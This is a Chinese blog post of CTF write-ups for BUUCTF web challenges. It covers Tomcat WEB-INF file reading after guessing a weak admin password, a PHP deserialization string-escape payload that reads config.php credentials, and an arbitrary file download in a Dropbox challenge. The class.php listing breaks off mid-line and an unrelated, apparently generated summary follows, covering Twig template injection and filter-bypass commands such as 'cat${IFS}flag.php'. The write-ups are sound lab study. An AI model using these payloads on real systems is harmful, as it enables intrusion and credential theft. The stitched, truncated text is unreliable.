BUUCTF WEB(12月刷题~)

BUUCTF WEB(12月刷题~)

emmmm,学习是要学习的,该记录的也得记录,,
就记录一下最近在BUUCTF上刷的题目吧,只求扩展一下自己的知识面,,,

BUUCTF WEB [RoarCTF 2019]Easy Java

进入页面得到一个登录页面和help页面:
在这里插入图片描述
help页面有一个filename的参数,不过貌似没什么用,,,,
在这里插入图片描述
尝试登陆!!!跑一下弱密码,账户:admin,得到弱密码admin888
登陆进去发现提示flag不在这里,,,
在这里插入图片描述
然后找了半天,没找到任何东西,,,源码也没有什么,,,
回到help页面,,,filename参数不论传入什么都不起作用,,,,
在这里插入图片描述
换一种参数进行尝试,发现要POST传递一个filename时才能有文件内容显示,否则报一个500错误:
在这里插入图片描述
根据报错信息我们可以得知服务器类型以及版本信息:Apache Tomcat/8.5.24
一般用java做过网站的都知道有一个WEB-INF目录,,,它是java的web应用的安全目录,包含以下目录及文件:

/WEB-INF/web.xml:				Web应用程序的配置文件
/WEB-INF/classes/:				包含站点所有的class文件
/WEB-INF/lib/:					存放需要的jar文件
/WEB-INF/src/:					源码目录
/WEB-INF/database.properties:	数据库配置文件

我们尝试读取配置文件,web.xml:
在这里插入图片描述
发现一个疑似flag存放的目录,,,
进行读取,发现一串base64的字符串:
在这里插入图片描述
进行解码得到flag:
在这里插入图片描述
emmmm,这能说这道题目是真的坑,,,,
首先你的了解java搭建的目录结构,其次还有传递方式的转变!
所以web真的太难了啊!!!!!!

BUUCTF WEB [0CTF 2016]piapiapia

打开页面是一个登录页面,还有一个可爱的小猫,,,越看越有意思,,,
在这里插入图片描述
尝试登陆,失败,,,,,查看源码,,,,无果
查看robots.txt没有,发现存在源码泄露,,www.zip,下载下来可看见文件目录:
在这里插入图片描述
看到class.php就感觉存在序列化,,,,都查看一下源码
class.php中基本都是数据库增加修改语句,,,发现存在过滤函数:
在这里插入图片描述
config.php中应该是存放着flag:
在这里插入图片描述
发现profile.php中存在文件读取,还有反序列化:
在这里插入图片描述
到这里我们应该知道要做啥了,就是需要我们通过这里来进行读取config.php中的内容
不过我们该如何控制$profile[‘photo’]中的内容为config.php呢???

再看看update.php中内容:
在这里插入图片描述
发现在这里我们好像能够控制$profile[‘photo’]中的内容!!!
其实这道题目是利用php反序列化长度变化尾部字符串逃逸漏洞,,,,
首先来看看反序列化的规则,构造如下代码:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:0:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
   
   
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  string(0) ""
  ["photo"]=>
  string(10) "config.php"
}

会发现;}之后的都没有起作用!!而且还有一点,,,
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的
只要整个字符串的前一部分能够成功反序列化,那么就能够序列化成功!!!
如下代码:

$b = 'a:2:{i:0;s:5:"phone";i:1;s:8:"admin123";}123"}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(2) {
   
   
  [0]=>
  string(5) "phone"
  [1]=>
  string(8) "admin123"
}

知道这些东西就好办了呀,我们可以构造nickname为数组,然后我们再构造photo为:";}s:5:"photo";s:10:"config.php";}
这样我们所构造的payload就变成了如下:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
   
   
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  array(1) {
   
   
    [0]=>
    string(0) ""
  }
  ["photo"]=>
  string(10) "config.php"
}

可以清楚看见photo变成了config.php!!!而且nickname变成数组还可以绕过如下过滤:
在这里插入图片描述
但是我们传输的时候长度是不变的怎么办??其实我们可以看见class.php中的那里会把where变成hacker
这样我们就可以多一个字符出来利用!!构造34个where,刚好可以把";}s:5:"photo";s:10:"config.php";}挤出来
使之能够执行!!!到这里就可以去做题目了!!!!
已知有个注册页面,先注册一个用户,,注册完需要我们更新信息,,,直接抓包:
在这里插入图片描述
然后直接构造:
在这里插入图片描述
之后访问profile.php可以看见:
在这里插入图片描述
解码得到flag:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ce293cc-273b-4d97-ba44-036a5cde57e0}';
?>

BUUCTF WEB [CISCN2019 华北赛区 Day1 Web1]Dropbox

打开页面需要登陆,OK,先注册一个直接登陆,发现有个文件上传:
在这里插入图片描述
尝试上传shell,上传成功但是没有显示,而且路径也不知道:
在这里插入图片描述
上传图片有显示,,,,,还有个删除和下载,删除就直接删除了,下载就是直接下载文件,,,,
下载文件直接抓包!!发现存在任意文件下载:
在这里插入图片描述
把能下载的文件全部都下载下来看看,,,,
class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
   
   
    public $db;

    public function __construct() {
   
   
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
   
   
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
   
   
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
   
   
        if ($this->user_exist($username)) {
   
   
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
   
   
        if (!$this->user_exist($username)) {
   
   
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db-
### BUUCTF Web 类型练习 #### 网站源码备份文件泄露和PHP反序列化 在BUUCTF平台上,有一道涉及网站源码备份文件泄露和PHP反序列化的目。这类目通常要求参赛者找到并利用服务器上存在的`.bak`或其他形式的备份文件来获取敏感信息或代码逻辑[^1]。 ```php // 示例:查找并读取备份文件 <?php $file = "backup_file.bak"; if (file_exists($file)) { echo file_get_contents($file); } ?> ``` #### Twig模板注入漏洞 另一个常见的Web安全问是模板引擎中的变量插值功能被滥用所引发的安全隐患。具体来说,在某些情况下,攻击者可以通过向HTTP请求中添加特定头部(如`X-Forwarded-For`),使得服务端渲染页面时执行恶意代码片段。例如: ```twig {{7*8}} ``` 这段代码会在页面加载过程中计算乘法表达式的值,并将其显示出来。如果应用程序允许用户输入影响此上下文的数据,则可能存在严重的安全隐患[^2]。 #### 文件包含漏洞 通过巧妙地构造命令字符串绕过过滤机制从而实现任意文件读取也是CTF竞赛中经常遇到的一种技巧。比如下面的例子展示了如何使用不同的方法去尝试访问名为`flag.php`的目标文件内容[^3]: ```bash # 方法一 cat<flag.php # 方法二 cat${IFS}flag.php # 方法三 cat$IFS$9flag.php ``` 这些技术不仅考验选手们对Linux Shell语法的理解程度,同时也考察他们能否灵活运用各种环境变量以及特殊字符组合达成目的。 #### 零基础入门学习路线 对于完全没有接触过网络安全领域的新手而言,可以从以下几个方面入手逐步建立起扎实的知识体系: - **基础知识积累**:掌握计算机网络原理、操作系统基本概念等必备理论; - **工具技能培养**:熟悉常用的渗透测试框架与自动化脚本编写能力; - **实践操作经验**:积极参与在线平台提供的各类挑战赛项目,不断巩固所学知识点; 综上所述,BUUCTF提供了一个很好的机会让爱好者们在一个相对友好且可控环境中锻炼自己的技术水平。无论是初学者还是有一定经验的人都能找到适合自己水平层次的任务来进行针对性训练[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值